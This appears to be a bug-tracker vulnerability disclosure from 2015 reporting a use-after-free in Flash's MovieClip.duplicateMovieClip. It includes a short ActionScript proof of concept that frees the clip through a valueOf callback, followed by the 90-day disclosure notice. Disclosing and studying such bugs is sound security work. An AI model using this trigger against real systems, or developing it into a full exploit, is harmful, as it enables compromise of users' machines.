There is a use-after-free in MovieClip.duplicateMovieClip. If the depth or
movie name parameter provided is an object with toString or valueOf defined,
this method can free the MovieClip, which is then used.
A minimal PoC follows:
this.createEmptyMovieClip("mc", 1);
mc.duplicateMovieClip( "mc",{valueOf : func});
function func(){
trace("in func");
mc.removeMovieClip();
// Fix heap here
return 5;
}
A sample swf and fla are attached.
This bug is subject to a 90 day disclosure deadline. If 90 days elapse
without a broadly available patch, then the bug report will automatically
become visible to the public.
Original issue reported on code.google.com by natashe...@google.com on 15 Oct 2015 at 9:22
Original issue reported on code.google.com by
natashe...@google.com
on 15 Oct 2015 at 9:22Attachments: